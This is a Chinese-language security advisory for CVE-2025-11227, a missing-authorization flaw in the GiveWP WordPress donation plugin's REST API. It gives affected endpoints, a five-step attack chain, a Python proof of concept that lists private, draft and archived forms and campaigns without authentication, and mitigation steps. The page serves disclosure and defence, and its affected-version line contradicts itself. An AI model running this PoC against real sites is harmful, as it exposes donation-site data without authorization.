IPBUF安全漏洞报告
English
CVE-2025-11227 CVSS 6.5 中危

CVE-2025-11227:WordPress GiveWP插件信息泄露漏洞

披露日期: 2025-10-04

漏洞信息

漏洞编号
CVE-2025-11227
漏洞类型
信息泄露(Information Exposure / Missing Authorization)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GiveWP – Donation Plugin and Fundraising Platform(WordPress插件)

相关标签

信息泄露未授权访问WordPressGiveWP捐赠插件REST API权限绕过CVE-2025-11227中危漏洞

漏洞概述

CVE-2025-11227是WordPress流行捐赠插件GiveWP(Donation Plugin and Fundraising Platform)中存在的一个信息泄露漏洞。该漏洞由Wordfence安全团队的研究员发现,并于2025年10月4日公开披露。GiveWP是WordPress生态系统中使用最广泛的在线捐赠和筹款插件之一,安装量超过10万次,被众多非营利组织、慈善机构和个人创作者用于接收在线捐款。

该漏洞存在于GiveWP插件的REST API路由处理逻辑中,具体涉及'registerGetForm'、'registerGetForms'、'registerGetCampaign'和'registerGetCampaigns'四个函数。这些函数在处理API请求时缺少必要的权限检查(capability check),导致未经认证的攻击者可以直接访问这些API端点,获取本应受保护的敏感数据。受影响的数据范围包括私有的捐赠表单(private donation forms)、草稿状态的捐赠表单(draft donation forms)以及已归档的筹款活动(archived campaigns)。

根据CVSS 3.1评分标准,该漏洞评分为6.5分,属于中等严重级别。攻击者无需任何认证即可通过网络远程发起攻击,且无需用户交互。虽然该漏洞不会直接导致系统完全失陷,但其对数据机密性和完整性均有一定影响,可能泄露捐赠活动的敏感配置信息、捐赠者数据或财务相关数据,对依赖该插件的网站运营者构成实质性安全威胁。

技术细节

从技术层面分析,该漏洞的根本原因在于GiveWP插件在注册REST API路由时,未对相关端点实施适当的权限验证机制。在WordPress REST API体系中,每个注册的路由都应该通过'permission_callback'参数指定访问该端点所需的权限。当该参数缺失或被错误配置为返回true时,任何用户(包括未认证的匿名访问者)都可以直接调用这些API端点。

具体而言,受影响的四个函数位于以下代码路径中:
1. 'RegisterCampaignRoutes.php'文件的第60行和第91行:对应'registerGetCampaign'和'registerGetCampaigns'函数,负责处理筹款活动(Campaign)的单个和列表查询请求。
2. 'DonationFormsEntityRoute.php'文件的第52行和第82行:对应'registerGetForm'和'registerGetForms'函数,负责处理捐赠表单(DonationForm)的单个和列表查询请求。

这些路由在处理GET请求时,缺少对当前用户权限的验证,没有检查用户是否具有查看私有或草稿内容的能力。因此,攻击者只需构造特定的REST API请求(如向/wp-json/givewp/v3/forms/或/wp-json/givewp/v3/campaigns/等端点发送GET请求),即可绕过权限控制,读取到状态为'private'、'draft'或'archived'的捐赠表单和筹款活动数据。

利用方式相对简单:攻击者无需任何认证凭据,仅需向目标WordPress站点的REST API端点发送HTTP GET请求,即可枚举和提取受保护的捐赠表单及筹款活动信息。这些信息可能包含表单配置、捐赠金额设置、活动描述、内部ID等敏感数据。

攻击链分析

STEP 1
步骤1:目标识别
攻击者通过搜索引擎或WordPress站点检测工具,识别出运行GiveWP插件的目标WordPress网站。
STEP 2
步骤2:API端点探测
攻击者构造针对GiveWP REST API端点的请求,如/wp-json/givewp/v3/forms/和/wp-json/givewp/v3/campaigns/,确认目标是否存在该漏洞。
STEP 3
步骤3:数据枚举
由于缺少权限检查,攻击者无需认证即可通过GET请求获取所有捐赠表单和筹款活动的列表,包括私有、草稿和已归档状态的数据。
STEP 4
步骤4:敏感数据提取
攻击者通过特定的ID访问单个表单或活动的详细信息,提取其中包含的敏感配置数据、捐赠设置和活动详情。
STEP 5
步骤5:数据利用
获取到的敏感信息可能被用于进一步攻击,如社会工程学攻击、针对性钓鱼活动,或为后续漏洞利用提供情报支持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11227 PoC - GiveWP Information Exposure # Exploits missing capability check in REST API routes import requests TARGET_URL = "http://target-wordpress-site.com" # Step 1: Enumerate all donation forms (including private and draft) def get_forms(target): """Retrieve all donation forms including private/draft ones""" url = f"{target}/wp-json/givewp/v3/forms/" headers = { "User-Agent": "Mozilla/5.0", "Accept": "application/json" } response = requests.get(url, headers=headers) if response.status_code == 200: forms = response.json() print(f"[+] Found {len(forms)} donation forms") for form in forms: print(f" - ID: {form.get('id')}, Title: {form.get('title')}, Status: {form.get('status')}") return forms return None # Step 2: Get specific form details def get_form_details(target, form_id): """Retrieve details of a specific donation form""" url = f"{target}/wp-json/givewp/v3/forms/{form_id}" response = requests.get(url) if response.status_code == 200: return response.json() return None # Step 3: Enumerate all campaigns (including archived) def get_campaigns(target): """Retrieve all campaigns including archived ones""" url = f"{target}/wp-json/givewp/v3/campaigns/" response = requests.get(url) if response.status_code == 200: campaigns = response.json() print(f"[+] Found {len(campaigns)} campaigns") for campaign in campaigns: print(f" - ID: {campaign.get('id')}, Title: {campaign.get('title')}, Status: {campaign.get('status')}") return campaigns return None # Step 4: Get specific campaign details def get_campaign_details(target, campaign_id): """Retrieve details of a specific campaign""" url = f"{target}/wp-json/givewp/v3/campaigns/{campaign_id}" response = requests.get(url) if response.status_code == 200: return response.json() return None if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") forms = get_forms(TARGET_URL) campaigns = get_campaigns(TARGET_URL)

影响范围

GiveWP Donation Plugin < 4.10.0(含4.10.0)

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)通过Wordfence或其他安全插件配置规则,阻止未认证用户访问/wp-json/givewp/v3/路径下的API端点;2)在.htaccess或Nginx配置中添加针对REST API的访问限制;3)使用WordPress的REST API认证机制,确保只有授权用户可以访问敏感端点;4)监控服务器访问日志,及时发现异常的API请求行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表